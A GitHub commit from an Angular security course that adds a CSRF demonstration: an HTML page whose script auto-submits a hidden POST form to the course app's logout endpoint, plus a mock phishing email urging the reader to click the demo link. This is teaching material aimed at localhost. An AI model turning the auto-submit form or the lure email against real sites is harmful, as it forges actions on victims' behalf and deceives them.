Skip to content

Commit 692ef59

Browse files
committed
Angular Security course
1 parent 160fd4c commit 692ef59

File tree

4 files changed

+129
-14
lines changed

4 files changed

+129
-14
lines changed

csrf/csrf-page.html

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
<!DOCTYPE html>
2+
<html lang="en">
3+
<head>
4+
<meta charset="UTF-8">
5+
<title>CSRF Demo Page</title>
6+
</head>
7+
<body>
8+
9+
<h1>GOTCHA!!!</h1>
10+
11+
12+
<form id="csrf-form" method='POST' action='https://localhost:4200/api/logout' >
13+
14+
</form>
15+
16+
<script>
17+
18+
document.getElementById("csrf-form").submit();
19+
20+
</script>
21+
22+
</body>
23+
</html>

csrf/email.txt

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
2+
3+
4+
Hello,
5+
6+
Let's simulate a Cross Site Request Forgery (CSRF for short) Attack!
7+
8+
Click this link -> http://localhost:8080/csrf/csrf-page.html
9+
10+
This would normally send you to a domain under the attacker control,
11+
12+
but here we sent it to localhost as a demo.
13+
14+
Enjoy!
15+
16+
17+
18+
19+

package-lock.json

Lines changed: 85 additions & 14 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

package.json

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@
1717
"jwt-check-hs256": "node ./demos/jwt-check-hs256.js",
1818
"jwt-rs256": "node ./demos/jwt-rs256.js",
1919
"jwt-check-rs256": "node ./demos/jwt-check-rs256.js",
20+
"csrf-server": "./node_modules/.bin/http-server -c-1 .",
2021
"build": "ng build",
2122
"test": "ng test",
2223
"lint": "ng lint",
@@ -41,6 +42,7 @@
4142
"command-line-args": "^4.0.6",
4243
"cookie-parser": "^1.4.3",
4344
"core-js": "^2.4.1",
45+
"http-server": "^0.10.0",
4446
"jsonwebtoken": "^7.4.2",
4547
"moment": "^2.18.1",
4648
"nodemon": "^1.11.0",

0 commit comments

Comments
 (0)